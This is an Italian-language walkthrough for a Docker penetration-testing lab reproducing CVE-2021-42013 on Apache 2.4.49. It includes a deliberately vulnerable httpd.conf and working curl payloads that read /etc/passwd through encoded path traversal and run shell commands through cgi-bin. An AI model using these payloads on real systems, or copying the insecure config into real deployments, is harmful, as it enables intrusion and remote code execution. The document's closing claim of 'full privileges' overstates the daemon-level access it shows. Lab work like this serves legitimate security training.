
Laboratorio di penetration test basato su Docker che simula la vulnerabilità CVE-2021-42013 (Path Traversal & RCE) su Apache HTTP Server (2.4.49).
Laboratorio di penetration testing basato su Docker che simula la vulnerabilità CVE-2021-42013 (Path Traversal & RCE) su Apache HTTP Server (2.4.49).
Questo progetto è stato preparato per simulare e sfruttare (exploit) la vulnerabilità CVE-2021-42013 presente su Apache HTTP Server (2.4.49) in un ambiente isolato. Nell'ambito del lavoro, è stato allestito un ambiente di laboratorio speciale chiamato docker-exploit-lab e lo scenario di attacco è stato realizzato tramite una macchina vittima (victim) e una macchina attaccante (attacker) sulla stessa rete.
Il nostro laboratorio ha due file di configurazione principali: il file Docker Compose che definisce le macchine Victim/Attacker e il file di configurazione che rende vulnerabile il server Apache.
docker-compose.ymlQuesto file crea un ambiente isolato nella sottorete 172.20.0.0/16. La macchina attaccante, all'avvio, installa automaticamente lo strumento curl necessario per l'attacco.
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.confPer attivare la vulnerabilità, al root directory () e al CGI directory è stato concesso 'Require all granted', rendendo volutamente il server vulnerabile. (Nota importante: per evitare errori, assicurati che questo file sia salvato in formato UTF-8 puro senza caratteri BOM (Byte Order Mark).)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
Per avviare il sistema, dalla directory di lavoro esegui questo comando nel terminale:
docker compose up -d
Dopo che il sistema è attivo, entriamo nella macchina Kali Linux dove eseguiremo i comandi di attacco:
Bash
docker exec -it attacker-box /bin/bash
Dalla macchina Kali, inviamo all'indirizzo IP fisso della macchina target (172.20.0.2) caratteri URL-encoded (.%%32%65) per attivare la vulnerabilità di attraversamento directory e leggere il file /etc/passwd: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
Poiché nella configurazione di Apache abbiamo autorizzato la directory CGI, possiamo utilizzare la stessa logica di attraversamento directory attraverso /cgi-bin/ per eseguire comandi shell direttamente sul server. Per eseguire il comando id: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" Output riuscito ottenuto: uid=1(daemon) gid=1(daemon) groups=1(daemon)
Questo lavoro mostra praticamente come una vulnerabilità Path Traversal apparentemente innocua su un server web non aggiornato, combinata con permessi malconfigurati del modulo CGI, possa trasformarsi in una esecuzione di codice remota (RCE) con pieni privilegi.